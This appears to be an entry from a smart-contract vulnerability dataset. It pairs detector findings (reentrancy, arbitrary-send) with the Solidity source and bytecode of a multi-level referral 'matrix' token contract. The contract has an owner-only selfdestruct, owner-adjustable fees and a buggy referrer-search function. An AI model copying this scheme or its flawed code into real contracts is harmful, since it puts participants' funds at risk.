56112cd816114af565b6112d784836114f9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161131c91815260200190565b60405180910390a3505050505050505050565b6007546000908190816113446008600a611912565b611352906305f5e100611921565b905061137a6113636008600a611912565b611371906305f5e100611921565b60075490611020565b8210156113a8576007546113906008600a611912565b61139e906305f5e100611921565b9350935050509091565b90939092509050565b60008060008060008060008060006113ce8a600954600a5461151d565b92509250925060006113de6111e7565b905060008060006113f18e87878761156c565b919e509c509a509598509396509194505050505091939550919395565b6000610f9783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea2565b60008061145d8385611ab6565b905083811015610f975760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104a4565b60006114b96111e7565b905060006114c78383610f9e565b306000908152600260205260409020549091506114e49082611450565b30600090815260026020526040902055505050565b600754611506908361140e565b6007556008546115169082611450565b6008555050565b600080808061153160646105578989610f9e565b9050600061154460646105578a89610f9e565b9050600061155c826115568b8661140e565b9061140e565b9992985090965090945050505050565b600080808061157b8886610f9e565b905060006115898887610f9e565b905060006115978888610f9e565b905060006115a982611556868661140e565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156115e9578581018301518582016040015282016115cd565b818111156115fb576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a9957600080fd5b803561163181611611565b919050565b6000806040838503121561164957600080fd5b823561165481611611565b946020939093013593505050565b60008060006060848603121561167757600080fd5b833561168281611611565b9250602084013561169281611611565b929592945050506040919091013590565b6000602082840312156116b557600080fd5b8135610f9781611611565b6000602082840312156116d257600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b8015158114610a9957600080fd5b8035611631816116ef565b6000806040838503121561171b57600080fd5b823567ffffffffffffffff8082111561173357600080fd5b818501915085601f83011261174757600080fd5b813560208282111561175b5761175b6116d9565b8160051b604051601f19603f83011681018181108682111715611780576117806116d9565b60405292835281830193508481018201928984111561179e57600080fd5b948201945b838610156117c3576117b486611626565b855294820194938201936117a3565b96506117d290508782016116fd565b9450505050509250929050565b600080604083850312156117f257600080fd5b82356117fd81611611565b9150602083013561180d81611611565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561186957816000190482111561184f5761184f611818565b8085161561185c57918102915b93841c9390800290611833565b509250929050565b600082611880575060016103bd565b8161188d575060006103bd565b81600181146118a357600281146118ad576118c9565b60019150506103bd565b60ff8411156118be576118be611818565b50506001821b6103bd565b5060208310610133831016604e8410600b84101617156118ec575081810a6103bd565b6118f6838361182e565b806000190482111561190a5761190a611818565b029392505050565b6000610f9760ff841683611871565b600081600019048311821515161561193b5761193b611818565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60006001820161199d5761199d611818565b5060010190565b6000602082840312156119b657600080fd5b8151610f9781611611565b6000806000606084860312156119d657600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a0157600080fd5b8151610f97816116ef565b600082821015611a1e57611a1e611818565b500390565b600082611a4057634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a955784516001600160a01b031683529383019391830191600101611a70565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ac957611ac9611818565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202ee69bd2413392595ea57492f1b1e60624f0b2117d89f11010b7edec4ae6d07064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,369 |
0x637B2fb28A9B0d5Fc320a31121b4c9f87b30e45f
|
pragma solidity ^0.5.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MatrixErc20 {
using SafeMath for uint;
address public ownerWallet;
struct UserStruct {
bool isExist;
uint id;
mapping (address => uint256) tokenRewards;
mapping (address => uint) referrerID; //Token address to Referrer ID
mapping (address => address[]) referral; //Token address to list of addresses
mapping(address => mapping(uint => uint)) levelExpired; //Token address to level number to expiration date
}
uint REFERRER_1_LEVEL_LIMIT = 5;
uint PERIOD_LENGTH = 180 days;
uint ADMIN_FEE_PERCENTAGE = 10;
mapping(address => mapping(uint => uint)) public LEVEL_PRICE; //Token address to level number to price
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
uint public currUserID = 0;
mapping (address => bool) public tokens;
mapping (address => uint256) public ownerFees;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time, address _token);
event buyLevelEvent(address indexed _user, uint _level, uint _time, address _token);
event prolongateLevelEvent(address indexed _user, uint _level, uint _time, address _token);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, address _token);
event lostMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time, address _token);
function setPeriodLength(uint _periodLength) public onlyOwner {
PERIOD_LENGTH = _periodLength;
}
function setAdminFeePercentage(uint _adminFeePercentage) public onlyOwner {
require (_adminFeePercentage >= 0 && _adminFeePercentage <= 100, "Fee must be between 0 and 100");
ADMIN_FEE_PERCENTAGE = _adminFeePercentage;
}
function toggleToken(address _token, bool _enabled) public onlyOwner {
tokens[_token] = _enabled;
if (_enabled) {
for(uint i = 1; i <= 10; i++) {
users[ownerWallet].levelExpired[_token][i] = 55555555555;
}
users[ownerWallet].referrerID[_token] = 0;
}
}
function setTokenPriceAtLevel(address _token, uint _level, uint _price) public onlyOwner {
require(_level > 0 && _level <= 10, "Invalid level");
LEVEL_PRICE[_token][_level] = _price;
}
function setTokenPrice(address _token, uint _price1, uint _price2, uint _price3, uint _price4, uint _price5, uint _price6, uint _price7, uint _price8, uint _price9, uint _price10) public onlyOwner {
LEVEL_PRICE[_token][1] = _price1;
LEVEL_PRICE[_token][2] = _price2;
LEVEL_PRICE[_token][3] = _price3;
LEVEL_PRICE[_token][4] = _price4;
LEVEL_PRICE[_token][5] = _price5;
LEVEL_PRICE[_token][6] = _price6;
LEVEL_PRICE[_token][7] = _price7;
LEVEL_PRICE[_token][8] = _price8;
LEVEL_PRICE[_token][9] = _price9;
LEVEL_PRICE[_token][10] = _price10;
if (!tokens[_token]) {
toggleToken(_token, true);
}
}
constructor() public {
ownerWallet = msg.sender;
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID
});
users[ownerWallet] = userStruct;
userList[currUserID] = ownerWallet;
}
modifier onlyOwner() {
require(msg.sender == ownerWallet, 'caller must be the owner');
_;
}
//Use this before going live to avoid issues
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), 'new owner is the zero address');
require(!users[newOwner].isExist, 'new owner needs to be a new address');
UserStruct memory userStruct = UserStruct({
isExist: true,
id: 1
});
users[newOwner] = userStruct;
userList[1] = newOwner;
delete users[ownerWallet];
ownerWallet = newOwner;
}
function regUser(address _token, uint _referrerID) public payable {
require(tokens[_token], "Token is not enabled");
require(!users[msg.sender].isExist, 'User exist');
require(_referrerID > 0 && _referrerID <= currUserID, 'Incorrect referrer Id');
IERC20 token = IERC20(_token);
require(token.transferFrom(msg.sender, address(this), LEVEL_PRICE[_token][1]), "Couldn't take the tokens from the sender");
if(users[userList[_referrerID]].referral[_token].length >= REFERRER_1_LEVEL_LIMIT) _referrerID = users[findFreeReferrer(_token, userList[_referrerID])].id;
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID
});
users[msg.sender] = userStruct;
users[msg.sender].referrerID[_token] = _referrerID;
userList[currUserID] = msg.sender;
users[msg.sender].levelExpired[_token][1] = now + PERIOD_LENGTH;
users[userList[_referrerID]].referral[_token].push(msg.sender);
payForLevel(_token, 1, msg.sender);
emit regLevelEvent(msg.sender, userList[_referrerID], now, _token);
}
function buyLevel(address _token, uint _level) public payable {
require(users[msg.sender].isExist, 'User not exist');
require(_level > 0 && _level <= 10, 'Incorrect level');
require(tokens[_token], "Token is not enabled");
IERC20 token = IERC20(_token);
require(token.transferFrom(msg.sender, address(this), LEVEL_PRICE[_token][_level]), "Couldn't take the tokens from the sender");
if(_level == 1) {
users[msg.sender].levelExpired[_token][1] += PERIOD_LENGTH;
}
else {
for(uint l =_level - 1; l > 0; l--) require(users[msg.sender].levelExpired[_token][l] >= now, 'Buy the previous level');
if(users[msg.sender].levelExpired[_token][_level] == 0) users[msg.sender].levelExpired[_token][_level] = now + PERIOD_LENGTH;
else users[msg.sender].levelExpired[_token][_level] += PERIOD_LENGTH;
}
payForLevel(_token, _level, msg.sender);
emit buyLevelEvent(msg.sender, _level, now, _token);
}
function getRefererInTree(address _token, uint _level, address _user) internal view returns(address) {
address referer;
address referer1;
address referer2;
address referer3;
address referer4;
if(_level == 1 || _level == 6) {
referer = userList[users[_user].referrerID[_token]];
}
else if(_level == 2 || _level == 7) {
referer1 = userList[users[_user].referrerID[_token]];
referer = userList[users[referer1].referrerID[_token]];
}
else if(_level == 3 || _level == 8) {
referer1 = userList[users[_user].referrerID[_token]];
referer2 = userList[users[referer1].referrerID[_token]];
referer = userList[users[referer2].referrerID[_token]];
}
else if(_level == 4 || _level == 9) {
referer1 = userList[users[_user].referrerID[_token]];
referer2 = userList[users[referer1].referrerID[_token]];
referer3 = userList[users[referer2].referrerID[_token]];
referer = userList[users[referer3].referrerID[_token]];
}
else if(_level == 5 || _level == 10) {
referer1 = userList[users[_user].referrerID[_token]];
referer2 = userList[users[referer1].referrerID[_token]];
referer3 = userList[users[referer2].referrerID[_token]];
referer4 = userList[users[referer3].referrerID[_token]];
referer = userList[users[referer4].referrerID[_token]];
}
if(!users[referer].isExist) referer = userList[1];
return referer;
}
function payForLevel(address _token, uint _level, address _user) internal {
address referer = getRefererInTree(_token, _level, _user);
if(users[referer].levelExpired[_token][_level] >= now) {
uint levelPrice = LEVEL_PRICE[_token][_level];
uint payToOwner = levelPrice.mul(ADMIN_FEE_PERCENTAGE).div(100);
uint payToReferrer = levelPrice.sub(payToOwner);
users[address(uint160(referer))].tokenRewards[_token] = users[address(uint160(referer))].tokenRewards[_token].add(payToReferrer);
ownerFees[_token] = ownerFees[_token].add(payToOwner);
emit getMoneyForLevelEvent(referer, msg.sender, _level, _token);
}
else {
emit lostMoneyForLevelEvent(referer, msg.sender, _level, now, _token);
payForLevel(_token, _level, referer);
}
}
function findFreeReferrer(address _token, address _user) public view returns(address) {
if(users[_user].referral[_token].length < REFERRER_1_LEVEL_LIMIT) return _user;
address[] memory referrals = new address[](315);
referrals[0] = users[_user].referral[_token][0];
referrals[1] = users[_user].referral[_token][1];
referrals[2] = users[_user].referral[_token][2];
referrals[3] = users[_user].referral[_token][3];
referrals[4] = users[_user].referral[_token][4];
address freeReferrer;
bool noFreeReferrer = true;
for(uint i = 0; i < 126; i++) {
if(users[referrals[i]].referral[_token].length == REFERRER_1_LEVEL_LIMIT) {
if(i < 155) {
referrals[(i+1)*2] = users[referrals[i]].referral[_token][0];
referrals[(i+1)*2+1] = users[referrals[i]].referral[_token][2];
referrals[(i+1)*2+2] = users[referrals[i]].referral[_token][3];
referrals[(i+1)*2+3] = users[referrals[i]].referral[_token][4];
referrals[(i+1)*2+4] = users[referrals[i]].referral[_token][5];
}
}
else {
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
require(!noFreeReferrer, 'No Free Referrer');
return freeReferrer;
}
function withdraw(address _token) public {
uint256 total = users[msg.sender].tokenRewards[_token];
require(total > 0, "Nothing to withdraw");
users[msg.sender].tokenRewards[_token] = 0;
IERC20 token = IERC20(_token);
require(token.transfer(msg.sender, total), "Couldn't send the tokens");
}
function _withdrawFees(address _token) public onlyOwner {
uint256 total = ownerFees[_token];
require(total > 0, "Nothing to withdraw");
ownerFees[_token] = 0;
IERC20 token = IERC20(_token);
require(token.transfer(msg.sender, total), "Couldn't send the tokens");
}
function viewUserReferral(address _token, address _user) public view returns(address[] memory) {
return users[_user].referral[_token];
}
function viewUserReferrer(address _token, address _user) public view returns(uint256) {
return users[_user].referrerID[_token];
}
function viewUserLevelExpired(address _token, address _user, uint _level) public view returns(uint) {
return users[_user].levelExpired[_token][_level];
}
function viewUserIsExist(address _user) public view returns(bool) {
return users[_user].isExist;
}
function viewUserRewards(address _user, address _token) public view returns(uint256) {
return users[_user].tokenRewards[_token];
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function _close(address payable _to) public onlyOwner {
selfdestruct(_to);
}
}
|
0x60806040526004361061014a5760003560e01c8063a87430ba116100b6578063ead4b2d61161006f578063ead4b2d614610571578063efa192f2146105a4578063f1ddad29146105d0578063f2fde38b1461065b578063f55772a11461068e578063fe9d0872146106c15761014a565b8063a87430ba146103c2578063ac1458b614610410578063aec0b10e14610449578063c2452e6214610490578063cfe41a7914610503578063e48603391461053e5761014a565b80635bec1aa5116101085780635bec1aa5146102a55780636e2ad57c146102d85780638a1edd56146103135780639335dcb7146103525780639f4216e814610383578063a4bb170d146103ad5761014a565b806275afed1461014f5780631c5633d71461018c5780632f362588146101b657806351cff8d91461020357806353c9e62e146102365780635af7d74614610262575b600080fd5b34801561015b57600080fd5b5061018a6004803603604081101561017257600080fd5b506001600160a01b03813516906020013515156106eb565b005b34801561019857600080fd5b5061018a600480360360208110156101af57600080fd5b50356107e4565b3480156101c257600080fd5b506101f1600480360360408110156101d957600080fd5b506001600160a01b0381358116916020013516610836565b60408051918252519081900360200190f35b34801561020f57600080fd5b5061018a6004803603602081101561022657600080fd5b50356001600160a01b0316610867565b61018a6004803603604081101561024c57600080fd5b506001600160a01b0381351690602001356109cb565b34801561026e57600080fd5b506101f16004803603606081101561028557600080fd5b506001600160a01b03813581169160208101359091169060400135610d80565b3480156102b157600080fd5b5061018a600480360360208110156102c857600080fd5b50356001600160a01b0316610db4565b3480156102e457600080fd5b506101f1600480360360408110156102fb57600080fd5b506001600160a01b0381358116916020013516610ec4565b34801561031f57600080fd5b5061018a6004803603606081101561033657600080fd5b506001600160a01b038135169060208101359060400135610ef4565b34801561035e57600080fd5b50610367610fb9565b604080516001600160a01b039092168252519081900360200190f35b34801561038f57600080fd5b50610367600480360360208110156103a657600080fd5b5035610fc8565b3480156103b957600080fd5b506101f1610fe3565b3480156103ce57600080fd5b506103f5600480360360208110156103e557600080fd5b50356001600160a01b0316610fe9565b60408051921515835260208301919091528051918290030190f35b34801561041c57600080fd5b506101f16004803603604081101561043357600080fd5b506001600160a01b038135169060200135611008565b34801561045557600080fd5b5061047c6004803603602081101561046c57600080fd5b50356001600160a01b0316611025565b604080519115158252519081900360200190f35b34801561049c57600080fd5b5061018a60048036036101608110156104b457600080fd5b506001600160a01b038135169060208101359060408101359060608101359060808101359060a08101359060c08101359060e08101359061010081013590610120810135906101400135611043565b34801561050f57600080fd5b506103676004803603604081101561052657600080fd5b506001600160a01b0381358116916020013516611337565b34801561054a57600080fd5b5061047c6004803603602081101561056157600080fd5b50356001600160a01b0316611a7a565b34801561057d57600080fd5b506101f16004803603602081101561059457600080fd5b50356001600160a01b0316611a8f565b61018a600480360360408110156105ba57600080fd5b506001600160a01b038135169060200135611aa1565b3480156105dc57600080fd5b5061060b600480360360408110156105f357600080fd5b506001600160a01b0381358116916020013516611e57565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561064757818101518382015260200161062f565b505050509050019250505060405180910390f35b34801561066757600080fd5b5061018a6004803603602081101561067e57600080fd5b50356001600160a01b0316611ede565b34801561069a57600080fd5b5061018a600480360360208110156106b157600080fd5b50356001600160a01b0316612086565b3480156106cd57600080fd5b5061018a600480360360208110156106e457600080fd5b50356120df565b6000546001600160a01b03163314610738576040805162461bcd60e51b81526020600482015260186024820152600080516020612997833981519152604482015290519081900360640190fd5b6001600160a01b0382166000908152600860205260409020805460ff191682158015919091179091556107e05760015b600a81116107b257600080546001600160a01b039081168252600560208181526040808520938816855292909101815281832084845290529020640cef5e80e39055600101610768565b50600080546001600160a01b0390811682526005602090815260408084209286168452600390920190528120555b5050565b6000546001600160a01b03163314610831576040805162461bcd60e51b81526020600482015260186024820152600080516020612997833981519152604482015290519081900360640190fd5b600255565b6001600160a01b03808316600090815260056020908152604080832093851683526002909301905220545b92915050565b3360009081526005602090815260408083206001600160a01b0385168452600201909152902054806108d6576040805162461bcd60e51b81526020600482015260136024820152724e6f7468696e6720746f20776974686472617760681b604482015290519081900360640190fd5b3360008181526005602090815260408083206001600160a01b03871680855260029091018352818420849055815163a9059cbb60e01b815260048101959095526024850186905290518694919363a9059cbb93604480850194919392918390030190829087803b15801561094957600080fd5b505af115801561095d573d6000803e3d6000fd5b505050506040513d602081101561097357600080fd5b50516109c6576040805162461bcd60e51b815260206004820152601860248201527f436f756c646e27742073656e642074686520746f6b656e730000000000000000604482015290519081900360640190fd5b505050565b6001600160a01b03821660009081526008602052604090205460ff16610a2f576040805162461bcd60e51b8152602060048201526014602482015273151bdad95b881a5cc81b9bdd08195b98589b195960621b604482015290519081900360640190fd5b3360009081526005602052604090205460ff1615610a81576040805162461bcd60e51b815260206004820152600a602482015269155cd95c88195e1a5cdd60b21b604482015290519081900360640190fd5b600081118015610a9357506007548111155b610adc576040805162461bcd60e51b8152602060048201526015602482015274125b98dbdc9c9958dd081c9959995c9c995c881259605a1b604482015290519081900360640190fd5b6001600160a01b03821660008181526004602081815260408084206001855282528084205481516323b872dd60e01b815233948101949094523060248501526044840152518694936323b872dd936064808201949392918390030190829087803b158015610b4957600080fd5b505af1158015610b5d573d6000803e3d6000fd5b505050506040513d6020811015610b7357600080fd5b5051610bb05760405162461bcd60e51b815260040180806020018281038252602881526020018061292b6028913960400191505060405180910390fd5b6001546000838152600660209081526040808320546001600160a01b03908116845260058352818420908816845260040190915290205410610c3a5760008281526006602052604081205460059190610c139086906001600160a01b0316611337565b6001600160a01b03166001600160a01b031681526020019081526020016000206001015491505b610c42612913565b50600780546001908101808355604080518082018252838152602080820193845233600081815260058084528582208551815460ff19169015151781559651878901556001600160a01b038c81168084526003890186528784208d905599548352600680865287842080546001600160a01b031990811687179091556002548c865299840187528885208b8652875288852042909a019099558c845285528683205416825283528481209781526004909701825292862080548087018255908752952090940180549092168117909155610d1d918691612187565b6000838152600660209081526040918290205482514281526001600160a01b03888116938201939093528351929091169233927f04ef2906887220fe61e03837d9eba125a9f2231dd89acc5c067829765ff0a6d69281900390910190a350505050565b6001600160a01b03918216600090815260056020818152604080842096909516835294018452828120918152925290205490565b6000546001600160a01b03163314610e01576040805162461bcd60e51b81526020600482015260186024820152600080516020612997833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526009602052604090205480610e62576040805162461bcd60e51b81526020600482015260136024820152724e6f7468696e6720746f20776974686472617760681b604482015290519081900360640190fd5b6001600160a01b0382166000818152600960209081526040808320839055805163a9059cbb60e01b815233600482015260248101869052905186949363a9059cbb93604480850194919392918390030190829087803b15801561094957600080fd5b6001600160a01b038082166000908152600560209081526040808320938616835260039093019052205492915050565b6000546001600160a01b03163314610f41576040805162461bcd60e51b81526020600482015260186024820152600080516020612997833981519152604482015290519081900360640190fd5b600082118015610f525750600a8211155b610f93576040805162461bcd60e51b815260206004820152600d60248201526c125b9d985b1a59081b195d995b609a1b604482015290519081900360640190fd5b6001600160a01b0390921660009081526004602090815260408083209383529290522055565b6000546001600160a01b031681565b6006602052600090815260409020546001600160a01b031681565b60075481565b6005602052600090815260409020805460019091015460ff9091169082565b600460209081526000928352604080842090915290825290205481565b6001600160a01b031660009081526005602052604090205460ff1690565b6000546001600160a01b03163314611090576040805162461bcd60e51b81526020600482015260186024820152600080516020612997833981519152604482015290519081900360640190fd5b89600460008d6001600160a01b03166001600160a01b031681526020019081526020016000206000600181526020019081526020016000208190555088600460008d6001600160a01b03166001600160a01b031681526020019081526020016000206000600281526020019081526020016000208190555087600460008d6001600160a01b03166001600160a01b031681526020019081526020016000206000600381526020019081526020016000208190555086600460008d6001600160a01b03166001600160a01b031681526020019081526020016000206000600481526020019081526020016000208190555085600460008d6001600160a01b03166001600160a01b031681526020019081526020016000206000600581526020019081526020016000208190555084600460008d6001600160a01b03166001600160a01b031681526020019081526020016000206000600681526020019081526020016000208190555083600460008d6001600160a01b03166001600160a01b031681526020019081526020016000206000600781526020019081526020016000208190555082600460008d6001600160a01b03166001600160a01b031681526020019081526020016000206000600881526020019081526020016000208190555081600460008d6001600160a01b03166001600160a01b031681526020019081526020016000206000600981526020019081526020016000208190555080600460008d6001600160a01b03166001600160a01b031681526020019081526020016000206000600a815260200190815260200160002081905550600860008c6001600160a01b03166001600160a01b0316815260200190815260200160002060009054906101000a900460ff1661132a5761132a8b60016106eb565b5050505050505050505050565b6001546001600160a01b0380831660009081526005602090815260408083209387168352600490930190529081205490911115611375575080610861565b6040805161013b808252612780820190925260609160208201612760803883395050506001600160a01b0384811660009081526005602090815260408083209389168352600490930190529081208054929350916113cf57fe5b600091825260208220015482516001600160a01b039091169183916113f057fe5b6001600160a01b03928316602091820292909201810191909152848216600090815260058252604080822093881682526004909301909152208054600190811061143657fe5b9060005260206000200160009054906101000a90046001600160a01b03168160018151811061146157fe5b6001600160a01b0392831660209182029290920181019190915284821660009081526005825260408082209388168252600490930190915220805460029081106114a757fe5b9060005260206000200160009054906101000a90046001600160a01b0316816002815181106114d257fe5b6001600160a01b03928316602091820292909201810191909152848216600090815260058252604080822093881682526004909301909152208054600390811061151857fe5b9060005260206000200160009054906101000a90046001600160a01b03168160038151811061154357fe5b6001600160a01b03928316602091820292909201810191909152848216600090815260058252604080822093881682526004938401909252208054909190811061158957fe5b9060005260206000200160009054906101000a90046001600160a01b0316816004815181106115b457fe5b6001600160a01b039092166020928302919091019091015260006001815b607e811015611a2a57600154600560008684815181106115ee57fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206004016000896001600160a01b03166001600160a01b03168152602001908152602001600020805490501415611a0357609b8110156119fe576005600085838151811061165f57fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206004016000886001600160a01b03166001600160a01b031681526020019081526020016000206000815481106116b957fe5b9060005260206000200160009054906101000a90046001600160a01b03168482600101600202815181106116e957fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506005600085838151811061171957fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206004016000886001600160a01b03166001600160a01b0316815260200190815260200160002060028154811061177357fe5b9060005260206000200160009054906101000a90046001600160a01b03168482600101600202600101815181106117a657fe5b60200260200101906001600160a01b031690816001600160a01b031681525050600560008583815181106117d657fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206004016000886001600160a01b03166001600160a01b0316815260200190815260200160002060038154811061183057fe5b9060005260206000200160009054906101000a90046001600160a01b031684826001016002026002018151811061186357fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506005600085838151811061189357fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206004016000886001600160a01b03166001600160a01b031681526020019081526020016000206004815481106118ed57fe5b9060005260206000200160009054906101000a90046001600160a01b031684826001016002026003018151811061192057fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506005600085838151811061195057fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206004016000886001600160a01b03166001600160a01b031681526020019081526020016000206005815481106119aa57fe5b9060005260206000200160009054906101000a90046001600160a01b03168482600101600202600401815181106119dd57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250505b611a22565b60009150838181518110611a1357fe5b60200260200101519250611a2a565b6001016115d2565b508015611a71576040805162461bcd60e51b815260206004820152601060248201526f273790233932b2902932b332b93932b960811b604482015290519081900360640190fd5b50949350505050565b60086020526000908152604090205460ff1681565b60096020526000908152604090205481565b3360009081526005602052604090205460ff16611af6576040805162461bcd60e51b815260206004820152600e60248201526d155cd95c881b9bdd08195e1a5cdd60921b604482015290519081900360640190fd5b600081118015611b075750600a8111155b611b4a576040805162461bcd60e51b815260206004820152600f60248201526e125b98dbdc9c9958dd081b195d995b608a1b604482015290519081900360640190fd5b6001600160a01b03821660009081526008602052604090205460ff16611bae576040805162461bcd60e51b8152602060048201526014602482015273151bdad95b881a5cc81b9bdd08195b98589b195960621b604482015290519081900360640190fd5b6001600160a01b038216600081815260046020818152604080842086855282528084205481516323b872dd60e01b815233948101949094523060248501526044840152518694936323b872dd936064808201949392918390030190829087803b158015611c1a57600080fd5b505af1158015611c2e573d6000803e3d6000fd5b505050506040513d6020811015611c4457600080fd5b5051611c815760405162461bcd60e51b815260040180806020018281038252602881526020018061292b6028913960400191505060405180910390fd5b8160011415611cc7576002543360009081526005602081815260408084206001600160a01b03891685529092018152818320600184529052902080549091019055611dfd565b60001982015b8015611d57573360009081526005602081815260408084206001600160a01b038916855290920181528183208484529052902054421115611d4e576040805162461bcd60e51b8152602060048201526016602482015275109d5e481d1a19481c1c995d9a5bdd5cc81b195d995b60521b604482015290519081900360640190fd5b60001901611ccd565b503360009081526005602081815260408084206001600160a01b038816855290920181528183208584529052902054611dc5576002543360009081526005602081815260408084206001600160a01b0389168552909201815281832086845290529020429091019055611dfd565b6002543360009081526005602081815260408084206001600160a01b0389168552909201815281832086845290529020805490910190555b611e08838333612187565b604080518381524260208201526001600160a01b03851681830152905133917fa684f5403d73e37387ffe23da68a9b4d6c8efcb4c3ee708f868fd85bd8238989919081900360600190a2505050565b6001600160a01b03808216600090815260056020908152604080832093861683526004909301815290829020805483518184028101840190945280845260609392830182828015611ed157602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611eb3575b5050505050905092915050565b6000546001600160a01b03163314611f2b576040805162461bcd60e51b81526020600482015260186024820152600080516020612997833981519152604482015290519081900360640190fd5b6001600160a01b038116611f86576040805162461bcd60e51b815260206004820152601d60248201527f6e6577206f776e657220697320746865207a65726f2061646472657373000000604482015290519081900360640190fd5b6001600160a01b03811660009081526005602052604090205460ff1615611fde5760405162461bcd60e51b81526004018080602001828103825260238152602001806129746023913960400191505060405180910390fd5b611fe6612913565b50604080518082018252600180825260208083018281526001600160a01b03958616600081815260058085528782209651875490151560ff199182161788559351968601969096557f3e5fec24aa4dc4e5aee2e025e51e1392c72a2500577559fae9665c6d52bd6a3180546001600160a01b0319908116841790915581549098168152949092529383208054909416845592018190558054909216179055565b6000546001600160a01b031633146120d3576040805162461bcd60e51b81526020600482015260186024820152600080516020612997833981519152604482015290519081900360640190fd5b806001600160a01b0316ff5b6000546001600160a01b0316331461212c576040805162461bcd60e51b81526020600482015260186024820152600080516020612997833981519152604482015290519081900360640190fd5b6064811115612182576040805162461bcd60e51b815260206004820152601d60248201527f466565206d757374206265206265747765656e203020616e6420313030000000604482015290519081900360640190fd5b600355565b6000612194848484612379565b6001600160a01b038082166000908152600560208181526040808420948a16845293909101815282822087835290522054909150421161231a576001600160a01b038416600090815260046020908152604080832086845290915281205460035490919061221c9060649061221090859063ffffffff6126d916565b9063ffffffff61273916565b90506000612230838363ffffffff61277b16565b6001600160a01b038086166000908152600560209081526040808320938c16835260029093019052205490915061226d908263ffffffff6127bd16565b6001600160a01b038086166000908152600560209081526040808320938c168352600290930181528282209390935560099092529020546122b4908363ffffffff6127bd16565b6001600160a01b038089166000818152600960209081526040918290209490945580518a81529384019190915280513393928816927f6eea35dcaab76439823f565de84acbc20c7b3099778d844bb67b54379a2f402c92908290030190a3505050612373565b604080518481524260208201526001600160a01b0386811682840152915133928416917f59c10418bdb8f464f1f7f5f59e4106a3c80594e6214f16817c83c5afc8f16e19919081900360600190a3612373848483612187565b50505050565b60008060008060008087600114806123915750876006145b156123d2576001600160a01b0380881660009081526005602090815260408083208d8516845260030182528083205483526006909152902054169450612674565b87600214806123e15750876007145b15612449576001600160a01b0380881660009081526005602081815260408084208e8616808652600391820184528286205486526006808552838720548816808852958552838720918752910183528185205485529091529091205490911695509350612674565b87600314806124585750876008145b156124e2576001600160a01b0380881660009081526005602081815260408084208e861680865260039182018452828620548652600680855283872054881680